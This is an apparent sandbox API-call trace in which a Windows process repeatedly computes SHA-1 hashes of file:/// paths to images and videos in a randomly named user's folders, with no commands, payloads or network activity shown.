[0079.841] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.841] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 0x56
[0079.841] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 0x56
[0079.841] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xae, dwFlags=0x0) returned 1
[0079.841] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.841] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 0x56
[0079.841] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg/") returned 0x57
[0079.841] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xb0, dwFlags=0x0) returned 1
[0079.841] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.841] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 0x44
[0079.841] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 0x44
[0079.841] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.841] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.841] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.841] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 0x44
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.842] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg/") returned 0x45
[0079.842] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
[0079.842] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.842] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.842] wcslen (_String="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned 0x42
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.842] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.842] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.842] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.842] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x88, dwFlags=0x0) returned 1
[0079.842] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.842] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.842] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.842] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.842] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.842] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.842] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.842] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.842] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.843] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.843] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.843] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
[0079.843] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.843] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.843] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.843] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.843] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.843] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.843] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.843] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.843] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x90, dwFlags=0x0) returned 1
[0079.843] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.843] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.843] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.843] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x92, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.844] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.844] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.844] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.844] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.844] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.844] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.844] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.844] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.844] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.844] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.844] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.844] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.845] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.845] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.845] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.845] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.845] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.845] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.845] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.845] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.846] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.846] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.846] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.846] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.846] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.846] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.846] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.846] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.846] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.846] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.846] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.846] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.847] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.847] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.847] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.847] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.847] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.847] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.847] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.847] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x62, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.847] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.847] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.847] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.847] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.848] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.848] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.848] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.848] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.848] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6c, dwFlags=0x0) returned 1
[0079.848] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.848] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.848] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.848] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x80, dwFlags=0x0) returned 1
[0079.848] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.848] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.848] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x82, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.849] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.849] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x68, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.849] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x64, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.849] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x66, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.849] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.849] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.849] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.849] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.850] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x72, dwFlags=0x0) returned 1
[0079.850] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.850] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.850] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.850] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.850] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.850] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.850] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
